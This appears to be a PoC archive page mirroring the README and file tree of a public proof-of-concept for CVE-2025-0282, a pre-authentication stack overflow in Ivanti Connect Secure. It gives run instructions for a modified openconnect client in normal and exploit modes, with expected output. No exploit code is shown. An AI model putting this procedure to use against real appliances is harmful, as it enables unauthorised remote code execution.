Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-0282 PoC — Ivanti多款产品 安全漏洞

Source
Associated Vulnerability
Title:Ivanti多款产品 安全漏洞 (CVE-2025-0282)
Description:A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a remote unauthenticated attacker to achieve remote code execution.
Description
Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)
Readme
# CVE-2025-0282
Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)

This is purposefully broken in non-trivial ways and will require effort to work as outlined previously in our exploitation technique blogpost.

To understand this vulnerability, you can take a look at our technical write-up.

[Exploitation Walkthrough and Techniques - Ivanti Connect Secure RCE (CVE-2025-0282)](https://labs.watchtowr.com/exploitation-walkthrough-and-techniques-ivanti-connect-secure-rce-cve-2025-0282/)


# The PoC

The code operates in two modes:

1. Normal Mode
2. Exploit Mode

Start by running the code in "Normal" mode. If you encounter a password prompt, it indicates the target is functional. Next, switch to "Exploit" mode. If you see the message "Failed to complete authentication," the target might be vulnerable. Note that the exploit code includes hardcoded addresses and offsets, which you'll need to modify to work with your approved target.

### Normal mode expected result:

```
MODE=normal ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4  
                 __         .__  ___________                    
__  _  _______ _/  |_  ____ |  |_\__    ___/_____  _  _________ 
\ \/ \/ /\__  \\   __\/ ___\|  |  \|    | /  _ \ \/ \/ /\_  __ \
 \     /  / __ \|  | \  \___|   Y  \    |(  <_> )     /  |  | \/
  \/\_/  (____  /__|  \___  >___|  /____| \____/ \/\_/   |__|   
              \/          \/     \/                              


        (*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)

          - Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2025-0282]

Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found

Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
    --servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Enter user credentials:
Password:

```

### Exploit mode expected result:

```
MODE=exploit ./openconnect-9.12/openconnect --protocol=pulse --user=test 10.20.5.4  
                 __         .__  ___________                    
__  _  _______ _/  |_  ____ |  |_\__    ___/_____  _  _________ 
\ \/ \/ /\__  \\   __\/ ___\|  |  \|    | /  _ \ \/ \/ /\_  __ \
 \     /  / __ \|  | \  \___|   Y  \    |(  <_> )     /  |  | \/
  \/\_/  (____  /__|  \___  >___|  /____| \____/ \/\_/   |__|   
              \/          \/     \/                              


        (*) Ivanti Connect Secure IFT TLS Stack Overflow pre-auth RCE (CVE-2025-0282)

          - Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2025-0282]

Connected to 10.20.5.4:443
SSL negotiation with 10.20.5.4
Server certificate verify failed: signer not found

Certificate from VPN server "10.20.5.4" failed verification.
Reason: signer not found
To trust this server in future, perhaps add this to your command line:
    --servercert pin-sha256:kE2T2Rx2hc9EquYWABzj22wil29SZezWLdJ7OnhpdMw=
Enter 'yes' to accept, 'no' to abort; anything else to view: yes
Connected to HTTPS on 10.20.5.4 with ciphersuite (TLS1.2)-(RSA)-(AES-256-GCM)
Got HTTP response: HTTP/1.1 101 Switching Protocols
Failed to read from TLS/DTLS socket: Error in the pull function.
Failed to complete authentication

 [!] Target might be vulnerable

```

# Exploit authors

This exploit was written by Sina Kheirkhah (@SinSinology) of [watchTowr (@watchtowrcyber)](https://twitter.com/watchtowrcyber) 

# Reference

[openconnect project which this code is built upon](https://www.infradead.org/openconnect/)

# Follow [watchTowr](https://watchTowr.com) Labs
File Snapshot

[4.0K] /data/pocs/4593df2093668c7148b6c04533df6a52f996d853 ├── [4.0K] openconnect-CVE-2025-0282 │   ├── [ 92K] ABOUT-NLS │   ├── [ 56K] aclocal.m4 │   ├── [4.0K] android │   │   ├── [4.8K] fetch.sh │   │   ├── [ 315] install_symlink.sh │   │   ├── [ 11K] Makefile │   │   └── [3.6K] run_pie.c │   ├── [ 38K] array.c │   ├── [ 55K] auth.c │   ├── [6.1K] auth-common.c │   ├── [ 29K] auth-globalprotect.c │   ├── [8.7K] auth-html.c │   ├── [ 16K] auth-juniper.c │   ├── [5.0K] AUTHORS │   ├── [4.0K] bash │   │   └── [3.7K] openconnect │   ├── [ 638] ChangeLog │   ├── [ 15K] compat.c │   ├── [7.2K] compile │   ├── [ 49K] config.guess │   ├── [5.6K] config.h.in │   ├── [ 18K] config.rpath │   ├── [ 35K] config.sub │   ├── [712K] configure │   ├── [ 52K] configure.ac │   ├── [ 26K] COPYING.LGPL │   ├── [ 39K] cstp.c │   ├── [ 23K] depcomp │   ├── [6.0K] digest.c │   ├── [ 17K] dtls.c │   ├── [ 15K] esp.c │   ├── [5.0K] esp-seqno.c │   ├── [ 27K] f5.c │   ├── [ 30K] fortinet.c │   ├── [2.5K] gensymbols.sed │   ├── [ 96K] gnutls.c │   ├── [ 20K] gnutls-dtls.c │   ├── [4.4K] gnutls-esp.c │   ├── [3.5K] gnutls.h │   ├── [ 18K] gnutls_tpm2.c │   ├── [ 19K] gnutls_tpm2_esys.c │   ├── [ 16K] gnutls_tpm2_ibm.c │   ├── [9.0K] gnutls_tpm.c │   ├── [ 52K] gpst.c │   ├── [ 10K] gssapi.c │   ├── [ 10K] hpke.c │   ├── [8.3K] http-auth.c │   ├── [ 36K] http.c │   ├── [2.0K] iconv.c │   ├── [ 15K] install-sh │   ├── [4.0K] java │   │   ├── [ 953] build.xml │   │   ├── [ 602] README │   │   └── [4.0K] src │   │   ├── [4.0K] com │   │   │   └── [4.0K] example │   │   │   └── [8.8K] LibTest.java │   │   └── [4.0K] org │   │   └── [4.0K] infradead │   │   └── [4.0K] libopenconnect │   │   └── [ 10K] LibOpenConnect.java │   ├── [ 42K] jni.c │   ├── [4.0K] json │   │   ├── [ 321] AUTHORS │   │   ├── [ 30K] json.c │   │   ├── [6.2K] json.h │   │   └── [1.3K] LICENSE │   ├── [4.4K] jsondump.c │   ├── [5.0K] libopenconnect5.symbols │   ├── [3.5K] libopenconnect.map.in │   ├── [ 46K] library.c │   ├── [1.8K] list-system-keys.c │   ├── [325K] ltmain.sh │   ├── [5.6K] lzo.c │   ├── [2.9K] lzo.h │   ├── [9.4K] lzs.c │   ├── [4.0K] m4 │   │   ├── [1.5K] as-compiler-flag.m4 │   │   ├── [4.6K] ax_check_vscript.m4 │   │   ├── [4.8K] ax_jni_include_dir.m4 │   │   ├── [ 22K] host-cpu-c-abi.m4 │   │   ├── [9.5K] iconv.m4 │   │   ├── [5.2K] lib-ld.m4 │   │   ├── [ 35K] lib-link.m4 │   │   ├── [ 12K] lib-prefix.m4 │   │   ├── [300K] libtool.m4 │   │   ├── [6.0K] lt~obsolete.m4 │   │   ├── [ 14K] ltoptions.m4 │   │   ├── [4.3K] ltsugar.m4 │   │   └── [ 714] ltversion.m4 │   ├── [ 82K] main.c │   ├── [ 14K] mainloop.c │   ├── [ 20K] Makefile.am │   ├── [160K] Makefile.in │   ├── [6.7K] missing │   ├── [3.8K] mtucalc.c │   ├── [ 884] multicert.c │   ├── [ 32K] ntlm.c │   ├── [2.2K] nullppp.c │   ├── [ 13K] oath.c │   ├── [1.2K] oidc.c │   ├── [ 39K] oncp.c │   ├── [ 28K] openconnect.8.in │   ├── [ 34K] openconnect.h │   ├── [148K] openconnect.ico │   ├── [ 58K] openconnect-internal.h │   ├── [2.3K] openconnect.nsi.in │   ├── [ 417] openconnect.pc.in │   ├── [ 78] openconnect.rc │   ├── [ 69K] openssl.c │   ├── [ 28K] openssl-dtls.c │   ├── [5.2K] openssl-esp.c │   ├── [ 19K] openssl-pkcs11.c │   ├── [7.4K] os-tcp-mtu.c │   ├── [4.0K] po │   │   ├── [134K] ar.po │   │   ├── [163K] bs.po │   │   ├── [188K] ca.po │   │   ├── [ 818] ChangeLog │   │   ├── [179K] cs.po │   │   ├── [203K] da.po │   │   ├── [176K] de.po │   │   ├── [167K] el.po │   │   ├── [147K] en_GB.po │   │   ├── [142K] en_US.po │   │   ├── [201K] es.po │   │   ├── [174K] eu.po │   │   ├── [140K] fi.po │   │   ├── [134K] fr.po │   │   ├── [137K] gl.po │   │   ├── [136K] hr.po │   │   ├── [178K] hu.po │   │   ├── [193K] id.po │   │   ├── [135K] it.po │   │   ├── [135K] ka.po │   │   ├── [ 129] LINGUAS │   │   ├── [194K] lt.po │   │   ├── [ 940] Makefile.am │   │   ├── [ 16K] Makefile.in │   │   ├── [173K] nl.po │   │   ├── [137K] pa.po │   │   ├── [203K] pl.po │   │   ├── [205K] pt_BR.po │   │   ├── [165K] pt.po │   │   ├── [135K] sk.po │   │   ├── [154K] sl.po │   │   ├── [170K] sr@latin.po │   │   ├── [231K] sr.po │   │   ├── [194K] sv.po │   │   ├── [134K] tg.po │   │   ├── [179K] tr.po │   │   ├── [157K] ug.po │   │   ├── [263K] uk.po │   │   ├── [166K] zh_CN.po │   │   └── [134K] zh_TW.po │   ├── [ 57K] ppp.c │   ├── [3.4K] ppp.h │   ├── [ 96K] pulse.c │   ├── [2.4K] README.md │   ├── [ 18K] script.c │   ├── [ 33K] ssl.c │   ├── [ 12K] sspi.c │   ├── [8.3K] stoken.c │   ├── [4.8K] test-driver │   ├── [4.0K] tests │   │   ├── [1.6K] auth-certificate │   │   ├── [1.7K] auth-hwtpm │   │   ├── [1.7K] auth-multicert │   │   ├── [1.5K] auth-nonascii │   │   ├── [1.6K] auth-pkcs11 │   │   ├── [3.0K] auth-swtpm │   │   ├── [2.1K] auth-username-pass │   │   ├── [1.5K] autocompletion │   │   ├── [ 29K] bad_dtls_test.c │   │   ├── [3.1K] buftest.c │   │   ├── [4.0K] cert-fingerprint │   │   ├── [4.0K] certs │   │   │   ├── [3.2K] ca-key.pem │   │   │   ├── [1.2K] ca.pem │   │   │   ├── [1.2K] dsa-cert.pem │   │   │   ├── [1.7K] dsa-key-aes256-cbc-sha256.p12 │   │   │   ├── [ 751] dsa-key-pkcs1-aes128.pem │   │   │   ├── [ 446] dsa-key-pkcs1.der │   │   │   ├── [1.1K] dsa-key-pkcs1.pem │   │   │   ├── [ 334] dsa-key-pkcs8.der │   │   │   ├── [ 419] dsa-key-pkcs8-pbes2-sha1.der │   │   │   ├── [ 643] dsa-key-pkcs8-pbes2-sha1.pem │   │   │   ├── [ 509] dsa-key-pkcs8.pem │   │   │   ├── [ 794] ec-cert.pem │   │   │   ├── [1.2K] ec-key-aes256-cbc-sha256.p12 │   │   │   ├── [ 314] ec-key-pkcs1-aes128.pem │   │   │   ├── [ 121] ec-key-pkcs1.der │   │   │   ├── [ 302] ec-key-pkcs1.pem │   │   │   ├── [ 138] ec-key-pkcs8.der │   │   │   ├── [ 225] ec-key-pkcs8-pbes2-sha1.der │   │   │   ├── [ 379] ec-key-pkcs8-pbes2-sha1.pem │   │   │   ├── [ 241] ec-key-pkcs8.pem │   │   │   ├── [ 394] ec-key-swtpm.pem │   │   │   ├── [1.3K] server-cert.pem │   │   │   ├── [1.9K] server-key.pem │   │   │   ├── [ 794] swtpm-ec-cert.pem │   │   │   ├── [ 394] swtpm-ec-key-tpm.pem │   │   │   ├── [ 834] swtpm-ec-p384-cert.pem │   │   │   ├── [ 463] swtpm-ec-p384-key-tpm.pem │   │   │   ├── [1.0K] swtpm-rsa-cert.pem │   │   │   ├── [ 788] swtpm-rsa-key-tpm.pem │   │   │   ├── [1.1K] user-cert.pem │   │   │   ├── [2.6K] user-key-aes256-cbc-md5-des-sha256.p12 │   │   │   ├── [2.7K] user-key-aes256-cbc-sha256.p12 │   │   │   ├── [2.5K] user-key-md5-des-sha1.p12 │   │   │   ├── [2.7K] user-key-nonascii-password.p12 │   │   │   ├── [2.0K] user-key-pkcs1-aes128.pem │   │   │   ├── [1.4K] user-key-pkcs1.der │   │   │   ├── [1.9K] user-key-pkcs1.pem │   │   │   ├── [1.4K] user-key-pkcs8.der │   │   │   ├── [1.4K] user-key-pkcs8-pbes1-md5-des.der │   │   │   ├── [2.0K] user-key-pkcs8-pbes1-md5-des.pem │   │   │   ├── [1.4K] user-key-pkcs8-pbes1-sha1-3des.der │   │   │   ├── [2.0K] user-key-pkcs8-pbes1-sha1-3des.pem │   │   │   ├── [1.5K] user-key-pkcs8-pbes2-sha1.der │   │   │   ├── [2.1K] user-key-pkcs8-pbes2-sha1.pem │   │   │   ├── [1.5K] user-key-pkcs8-pbes2-sha256.der │   │   │   ├── [2.1K] user-key-pkcs8-pbes2-sha256.pem │   │   │   ├── [1.9K] user-key-pkcs8.pem │   │   │   ├── [2.6K] user-key-sha1-3des-sha1.p12 │   │   │   └── [2.6K] user-key-sha1-3des-sha256.p12 │   │   ├── [5.3K] common.sh │   │   ├── [4.0K] configs │   │   │   ├── [ 533] server-cert.prm │   │   │   ├── [ 532] test1.passwd │   │   │   ├── [5.7K] test-dtls-psk.config │   │   │   ├── [5.5K] test-obsolete-server-crypto.config │   │   │   ├── [5.7K] test-user-cert.config.in │   │   │   ├── [5.7K] test-user-pass.config.in │   │   │   └── [ 582] user-cert.prm │   │   ├── [4.4K] dtls-psk │   │   ├── [3.5K] f5-auth-and-config │   │   ├── [8.6K] fake-cisco-server.py │   │   ├── [ 13K] fake-f5-server.py │   │   ├── [ 12K] fake-fortinet-server.py │   │   ├── [ 15K] fake-gp-server.py │   │   ├── [9.5K] fake-juniper-server.py │   │   ├── [6.3K] fake-juniper-sso-server.py │   │   ├── [1.2K] fake-tncc.py │   │   ├── [4.0K] fortinet-auth-and-config │   │   ├── [5.5K] gp-auth-and-config │   │   ├── [2.3K] id-test │   │   ├── [3.4K] juniper-auth │   │   ├── [1.6K] juniper-sso-auth │   │   ├── [1.1K] list-taps.c │   │   ├── [2.2K] lzstest.c │   │   ├── [ 18K] Makefile.am │   │   ├── [ 66K] Makefile.in │   │   ├── [2.7K] ns.sh │   │   ├── [2.7K] obsolete-server-crypto │   │   ├── [ 3] pass-ISO8859-2 │   │   ├── [ 5] pass-UTF-8 │   │   ├── [2.1K] pfs │   │   ├── [5.1K] ppp-over-tls │   │   ├── [2.5K] ppp-over-tls-sync │   │   ├── [4.0K] scripts │   │   │   ├── [ 380] vpnc-script │   │   │   └── [ 477] vpnc-script-detect-disconnect │   │   ├── [3.2K] seqtest.c │   │   ├── [1.9K] serverhash.c │   │   ├── [3.2K] sigterm │   │   ├── [4.0K] softhsm │   │   │   ├── [4.0K] 20526acd-3d1b-8363-eb79-163b3233387a │   │   │   │   ├── [ 0] 0f93ad33-8495-7e09-67e8-fc911ab3714c.lock │   │   │   │   ├── [ 892] 0f93ad33-8495-7e09-67e8-fc911ab3714c.object │   │   │   │   ├── [ 0] 1f566862-7d38-6857-7794-3526358c875e.lock │   │   │   │   ├── [1.4K] 1f566862-7d38-6857-7794-3526358c875e.object │   │   │   │   ├── [ 0] 3d291e4c-bb8b-51fa-0a93-f6d536b876e3.lock │   │   │   │   ├── [1.3K] 3d291e4c-bb8b-51fa-0a93-f6d536b876e3.object │   │   │   │   ├── [ 0] 6aab9e82-479e-533b-a1d8-46fc69fe94fb.lock │   │   │   │   ├── [ 589] 6aab9e82-479e-533b-a1d8-46fc69fe94fb.object │   │   │   │   ├── [ 0] 8a5e4077-41a6-fd60-58dd-fb0d83671d06.lock │   │   │   │   ├── [2.0K] 8a5e4077-41a6-fd60-58dd-fb0d83671d06.object │   │   │   │   ├── [ 0] e1a6b974-787a-a85a-6efa-aa2d3f8afe86.lock │   │   │   │   ├── [1.1K] e1a6b974-787a-a85a-6efa-aa2d3f8afe86.object │   │   │   │   ├── [ 8] generation │   │   │   │   ├── [ 0] token.lock │   │   │   │   └── [ 320] token.object │   │   │   ├── [4.0K] 32189381-01d2-550b-8c0c-ccc58244a0c4 │   │   │   │   ├── [ 0] 08ab136b-af33-e833-7f9e-41d10981fdcb.lock │   │   │   │   ├── [ 704] 08ab136b-af33-e833-7f9e-41d10981fdcb.object │   │   │   │   ├── [ 0] 0b278e17-20f1-53ee-5488-4e5bf7207a5d.lock │   │   │   │   ├── [1.1K] 0b278e17-20f1-53ee-5488-4e5bf7207a5d.object │   │   │   │   ├── [ 0] 2954e9f7-bc71-e02a-e0ab-fd376dae3dda.lock │   │   │   │   ├── [1.0K] 2954e9f7-bc71-e02a-e0ab-fd376dae3dda.object │   │   │   │   ├── [ 0] 320d550f-019a-0fbd-cdca-300e888f91d7.lock │   │   │   │   ├── [1.3K] 320d550f-019a-0fbd-cdca-300e888f91d7.object │   │   │   │   ├── [ 0] 5b205a39-00d1-e0cb-cce0-3841810b6335.lock │   │   │   │   ├── [1.4K] 5b205a39-00d1-e0cb-cce0-3841810b6335.object │   │   │   │   ├── [ 0] 86979fa3-6b39-35af-fea1-d728b1789ce8.lock │   │   │   │   ├── [2.3K] 86979fa3-6b39-35af-fea1-d728b1789ce8.object │   │   │   │   ├── [ 0] a995f4ad-d827-d0b0-c1f3-7871156daaff.lock │   │   │   │   ├── [1.1K] a995f4ad-d827-d0b0-c1f3-7871156daaff.object │   │   │   │   ├── [ 0] d7409cfb-5bd6-b267-a958-d49e32049ef6.lock │   │   │   │   ├── [ 651] d7409cfb-5bd6-b267-a958-d49e32049ef6.object │   │   │   │   ├── [ 0] e40d1609-6066-9ab7-992b-4a6e59d971a5.lock │   │   │   │   ├── [ 915] e40d1609-6066-9ab7-992b-4a6e59d971a5.object │   │   │   │   ├── [ 8] generation │   │   │   │   ├── [ 0] token.lock │   │   │   │   └── [ 320] token.object │   │   │   ├── [4.0K] 340020a8-6289-ead5-d93a-3d77c9fb819a │   │   │   │   ├── [ 0] 36c79317-f45d-9f97-2ccd-5fc5c9340bf9.lock │   │   │   │   ├── [1.6K] 36c79317-f45d-9f97-2ccd-5fc5c9340bf9.object │   │   │   │   ├── [ 0] 3936e1d3-017b-1623-5db2-5e755f29012a.lock │   │   │   │   ├── [ 704] 3936e1d3-017b-1623-5db2-5e755f29012a.object │   │   │   │   ├── [ 0] 5221b8e5-f706-5763-75dc-942025e74148.lock │   │   │   │   ├── [2.3K] 5221b8e5-f706-5763-75dc-942025e74148.object │   │   │   │   ├── [ 0] 6040e1c7-9d3f-886f-bcad-7f2c753eaa1f.lock │   │   │   │   ├── [1.0K] 6040e1c7-9d3f-886f-bcad-7f2c753eaa1f.object │   │   │   │   ├── [ 0] e540b3f8-7a94-760f-4d0c-19bd423a04c2.lock │   │   │   │   ├── [1.3K] e540b3f8-7a94-760f-4d0c-19bd423a04c2.object │   │   │   │   ├── [ 0] fce03cbe-6429-758b-2587-55195739933a.lock │   │   │   │   ├── [1.5K] fce03cbe-6429-758b-2587-55195739933a.object │   │   │   │   ├── [ 8] generation │   │   │   │   ├── [ 0] token.lock │   │   │   │   └── [ 320] token.object │   │   │   └── [4.0K] e0a4adf3-068e-288d-1c53-a97935ad11e7 │   │   │   ├── [ 0] 53c2b10f-0c5e-de1d-2d1e-22fd048e3d70.lock │   │   │   ├── [1.0K] 53c2b10f-0c5e-de1d-2d1e-22fd048e3d70.object │   │   │   ├── [ 0] 6582bb63-3ada-cb64-b8f0-1fe0040b1863.lock │   │   │   ├── [1.6K] 6582bb63-3ada-cb64-b8f0-1fe0040b1863.object │   │   │   ├── [ 0] 6795319c-f776-6faa-b1d7-3878b9096eff.lock │   │   │   ├── [ 704] 6795319c-f776-6faa-b1d7-3878b9096eff.object │   │   │   ├── [ 0] 95571d18-2e2d-d9c2-0fc2-866e2fa91bf0.lock │   │   │   ├── [1.3K] 95571d18-2e2d-d9c2-0fc2-866e2fa91bf0.object │   │   │   ├── [ 0] 9bf49199-36eb-ac67-8fee-644f9a743af2.lock │   │   │   ├── [2.3K] 9bf49199-36eb-ac67-8fee-644f9a743af2.object │   │   │   ├── [ 0] ab9979a8-b020-37f3-312e-a620d2915fd3.lock │   │   │   ├── [1.5K] ab9979a8-b020-37f3-312e-a620d2915fd3.object │   │   │   ├── [ 8] generation │   │   │   ├── [ 0] token.lock │   │   │   └── [ 320] token.object │   │   ├── [ 94] softhsm2.conf.in │   │   ├── [ 46] suppressions.lsan │   │   ├── [1.2K] swtpm-perm.state │   │   └── [2.0K] symbols │   ├── [9.7K] textbuf.c │   ├── [ 133] TODO │   ├── [4.0K] trojans │   │   ├── [5.5K] csd-post.sh │   │   ├── [4.9K] csd-wrapper.sh │   │   ├── [2.0K] hipreport-android.sh │   │   ├── [ 12K] hipreport.sh │   │   ├── [ 25K] tncc-emulate.py │   │   └── [4.2K] tncc-wrapper.py │   ├── [ 14K] tun.c │   ├── [ 20K] tun-win32.c │   ├── [ 48] version.c │   ├── [ 566] version.sh │   ├── [ 19K] vhost.c │   ├── [5.0K] win32-ipicmp.h │   ├── [6.8K] wintun.c │   ├── [4.0K] www │   │   ├── [3.4K] anyconnect.xml │   │   ├── [1.3K] array.xml │   │   ├── [6.5K] building.xml │   │   ├── [ 70K] changelog.xml │   │   ├── [1.9K] charset.xml │   │   ├── [4.1K] connecting.xml │   │   ├── [ 14K] contribute.xml │   │   ├── [3.6K] csd.xml │   │   ├── [2.7K] download.xml │   │   ├── [2.6K] f5.xml │   │   ├── [1.9K] features.xml │   │   ├── [3.5K] fortinet.xml │   │   ├── [5.4K] globalprotect.xml │   │   ├── [1.1K] gui.xml │   │   ├── [4.2K] hip.xml │   │   ├── [5.6K] html.py │   │   ├── [4.0K] images │   │   │   ├── [ 140] left2.png │   │   │   ├── [ 141] left.png │   │   │   ├── [ 133] leftsel2.png │   │   │   ├── [ 148] leftsel.png │   │   │   ├── [ 81] Makefile.am │   │   │   ├── [ 17K] Makefile.in │   │   │   ├── [ 50K] openconnect.png │   │   │   ├── [146K] openconnect.svg │   │   │   ├── [ 140] right2.png │   │   │   ├── [ 141] right.png │   │   │   ├── [ 133] rightsel2.png │   │   │   └── [ 148] rightsel.png │   │   ├── [4.0K] inc │   │   │   ├── [ 55] content.tmpl │   │   │   ├── [ 41] footer.tmpl │   │   │   ├── [ 849] header.tmpl │   │   │   ├── [ 67] Makefile.am │   │   │   └── [ 17K] Makefile.in │   │   ├── [4.0K] index.xml │   │   ├── [4.7K] juniper.xml │   │   ├── [ 33K] licence.xml │   │   ├── [4.1K] mail.xml │   │   ├── [1.5K] Makefile.am │   │   ├── [ 25K] Makefile.in │   │   ├── [ 333] manual.xml │   │   ├── [ 647] menu1.xml │   │   ├── [ 219] menu2-contribute.xml │   │   ├── [ 918] menu2-features.xml │   │   ├── [ 594] menu2-protocols.xml │   │   ├── [ 362] menu2-started.xml │   │   ├── [ 516] menu2.xml │   │   ├── [ 11K] mitm.xml │   │   ├── [4.8K] nonroot.xml │   │   ├── [4.6K] packages.xml │   │   ├── [ 11K] pkcs11.xml │   │   ├── [2.0K] platforms.xml │   │   ├── [2.1K] protocols.xml │   │   ├── [3.0K] pulse.xml │   │   ├── [4.0K] styles │   │   │   ├── [2.9K] main.css │   │   │   ├── [ 66] Makefile.am │   │   │   └── [ 18K] Makefile.in │   │   ├── [3.2K] tncc.xml │   │   ├── [ 10K] token.xml │   │   ├── [3.5K] tpm.xml │   │   └── [3.4K] vpnc-script.xml │   ├── [4.1K] xml.c │   └── [ 17K] yubikey.c └── [3.8K] README.md 27 directories, 398 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →